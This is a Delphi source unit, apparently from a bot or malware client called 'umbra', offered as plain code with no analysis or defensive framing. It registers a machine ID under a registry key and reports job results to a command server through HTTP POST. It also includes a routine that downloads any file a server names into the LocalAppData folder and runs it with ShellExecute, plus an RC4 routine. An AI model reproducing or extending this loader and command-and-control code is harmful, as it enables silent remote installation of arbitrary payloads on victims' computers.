unit untUtils;

interface
uses WinInet, sysutils, shfolder, shellapi, Windows, untSettings, CompressionStreamUnit,
     untRegistry;

type
  TByteArray = array of Byte;

function DirectoryExists(const Directory: string): Boolean;
function GetCurrentDir:string;
procedure DoneJob(strID:String);
function ParseDownload(sString:String):Boolean;
function IsNumeric(value: string): boolean;
function SendToHttp(strDomain, strSubDomain, strData: string):string;
function LocalAppDataPath:string;
function GUIDToString(const GUID: TGUID): string;
function GetUID:String;
Function IsVista7: Boolean;
function StringFromCLSID(const clsid: TGUID; out psz: PWideChar): HResult; stdcall;
  external 'ole32.dll' name 'StringFromCLSID';
procedure CoTaskMemFree(pv: Pointer); stdcall;
  external 'ole32.dll' name 'CoTaskMemFree';

implementation

function DirectoryExists(const Directory: string): Boolean;
var
  Code: Integer;
begin
  Code := GetFileAttributes(PChar(Directory));
  Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code <> 0);
end;

Function IsVista7: Boolean;
var
  osVerInfo: TOSVersionInfo;
  majorVer: Integer;
begin
  Result := False;
  osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if GetVersionEx(osVerInfo) then
  begin
    majorVer := osVerInfo.dwMajorVersion;
    case osVerInfo.dwPlatformId of
      VER_PLATFORM_WIN32_NT:
      begin
        if (majorVer = 6)  then
          Result := True;
      end;
    end;
  end;
end;

function GetComputerNetName: string;
var
  buffer: array[0..255] of char;
  size: dword;
begin
  size := 256;
  if GetComputerName(buffer, size) then
    Result := buffer
  else
    Result := ''
end;

function AlternativeGUID:String;
begin
  Result := GetComputerNetName;
end;

function GetUID:String;
var
  regKey:HKEY;
begin
  if IsVista7 then
    regKey := HKEY_CURRENT_USER
  else
    regKey := HKEY_LOCAL_MACHINE;
  Result := GetRegKey(regKey, 'SOFTWARE\Microsoft\umbra\', 'UID', AlternativeGUID);
end;

procedure DoneJob(strID:String);
begin
  SendToHttp(_strMainHost_, _strMainPath_, 'mode=3&UID=' + GetUID + '&cmdid=' + strID);
end;

function GUIDToString(const GUID: TGUID): string;
var
  P: PWideChar;
begin
  if Succeeded(StringFromCLSID(GUID, P)) then  begin
    Result := P;
    CoTaskMemFree(P);
  end else
    Result := '';
end;

function LocalAppDataPath:string;
const
   SHGFP_TYPE_CURRENT = 0;
var
   path: array [0..MAX_PATH] of char;
begin
  SHGetFolderPath(0,CSIDL_LOCAL_APPDATA,0,SHGFP_TYPE_CURRENT,@path[0]) ;
  Result := path;
  if Result[Length(Result)] <> '\' then
    Result := Result + '\';
end;

function GetCurrentDir:string;
begin
  GetDir(0, Result);
  if Result[Length(Result)] <> '\' then
    Result := Result + '\';
end;

function IsNumeric(value: string): boolean;
var
  iDummy: integer;
begin
  result := true;
  try
    idummy := StrToInt(value);
  except
    result := false;
  end;
end;

procedure RC4(mStream:TMemoryStream;Password:string);
var
  RB:         array[0..255] of integer;
  X, Y, Z:    LongInt;
  Key:        TByteArray;
  ByteArray:  TByteArray;
  Temp:       Byte;
  lLen:       Integer;
begin
  lLen := mStream.Size;
  if Length(Password) = 0 then
    Exit;
  if lLen = 0 then
    Exit;
  if Length(Password) > 256 then
  begin
    SetLength(Key, 256);
    MoveMemory(@Key[0], @Password[1], 256)
  end
  else
  begin
    SetLength(Key, Length(Password));
    MoveMemory(@Key[0], @Password[1], Length(Password));
  end;
  for X := 0 to 255 do
    RB[X] := X;
  X := 0;
  Y := 0;
  Z := 0;
  for X := 0 to 255 do
  begin
    Y := (Y + RB[X] + Key[X mod Length(Password)]) mod 256;
    Temp := RB[X];
    RB[X] := RB[Y];
    RB[Y] := Temp;
  end;
  X := 0;
  Y := 0;
  Z := 0;
  SetLength(ByteArray, lLen);
  MoveMemory(@ByteArray[0], mStream.Memory, lLen);
  for X := 0 to lLen - 1 do
  begin
    Y := (Y + 1) mod 256;
    Z := (Z + RB[Y]) mod 256;
    Temp := RB[Y];
    RB[Y] := RB[Z];
    RB[Z] := Temp;
    ByteArray[X] := ByteArray[X] xor (RB[(RB[Y] + RB[Z]) mod 256]);
  end;
  mStream.Clear;
  mStream.Write(ByteArray[0],lLen);
end;

function DownloadFile(url, destinationFileName, destinationFolder: string): boolean;
var
  hInet: HINTERNET;
  hFile: HINTERNET;
  pFileHandle, dWrite:Cardinal;
  buffer: array[1..1024] of byte;
  bytesRead: DWORD;
begin
  result := False;
  hInet := InternetOpen(PChar('umbra'),INTERNET_OPEN_TYPE_PRECONFIG,nil,nil,0);
  hFile := InternetOpenURL(hInet,PChar(url),nil,0,0,0);
  if Assigned(hFile) then
  begin
    pFileHandle := CreateFile(PChar(destinationFolder + destinationFileName),GENERIC_WRITE,FILE_SHARE_WRITE,nil,CREATE_ALWAYS , FILE_ATTRIBUTE_NORMAL,0);
    if pFileHandle <> INVALID_HANDLE_VALUE then begin
      repeat
        InternetReadFile(hFile,@buffer,SizeOf(buffer),bytesRead);
        WriteFile(pFileHandle,buffer[1],bytesRead,dWrite,nil);
      until bytesRead = 0;
      CloseHandle(pFileHandle);
      if ShellExecute(0, nil, Pchar(destinationFileName),nil, Pchar(destinationFolder),SW_NORMAL) > 32 then
        result := true;
    end;
    InternetCloseHandle(hFile);
  end;
  InternetCloseHandle(hInet);
end;

function SendToHttp(strDomain, strSubDomain, strData: string):string;
var
  pSession, pConnect, pRequest: Pointer;
  strResult, strBuffer: String;
  arrBuff: Array[0..1023] of byte;
  dwRead:Cardinal;
begin
  Result := '';
  pSession := InternetOpen(pchar('umbra'),0,nil,nil,0);
  if pSession <> nil then begin
    pConnect := InternetConnect(pSession, pchar(strDomain), 80, nil, nil, INTERNET_SERVICE_HTTP, 0, 1);
    if pConnect <> nil then begin
      pRequest := HttpOpenRequest(pConnect, PChar('POST'), PChar(strSubDomain),'HTTP/1.0', nil, nil, 0, 0);
      if pRequest <> nil then begin
        HttpSendRequest(pRequest, 'Content-Type: application/x-www-form-urlencoded', 47, PChar(strData), Length(strData));
        strResult := '';
        repeat
          InternetReadFile(pRequest,@arrBuff[0],1024,dwRead);
          SetLength(strBuffer, dwRead);
          MoveMemory(@strBuffer[1],@arrBuff[0],dwRead);
          strResult := strResult + strBuffer;
        until dwRead = 0;
        Result := strResult;
        InternetCloseHandle(pRequest);
      end;
      InternetCloseHandle(pConnect);
    end;
    InternetCloseHandle(pSession);
  end;
end;

function ParseDownload(sString:String):Boolean;
var
  sFile:String;
  lFilePos:Integer;
begin
  Result := False;
  if sString <> '' then begin
    if lowercase(copy(sString,1,7)) <> 'http://' then
      sString := 'http://' + sString;
    lFilePos := LastDelimiter('/',sString);
    if lFilePos <> 0 then begin
      sFile := copy(sString, lFilePos + 1,Length(sString) - lFilePos + 1);
      if sFile <> '' then begin
        Result := DownloadFile(sString, sFile, LocalAppDataPath);
      end;
    end;
  end;
end;
end.
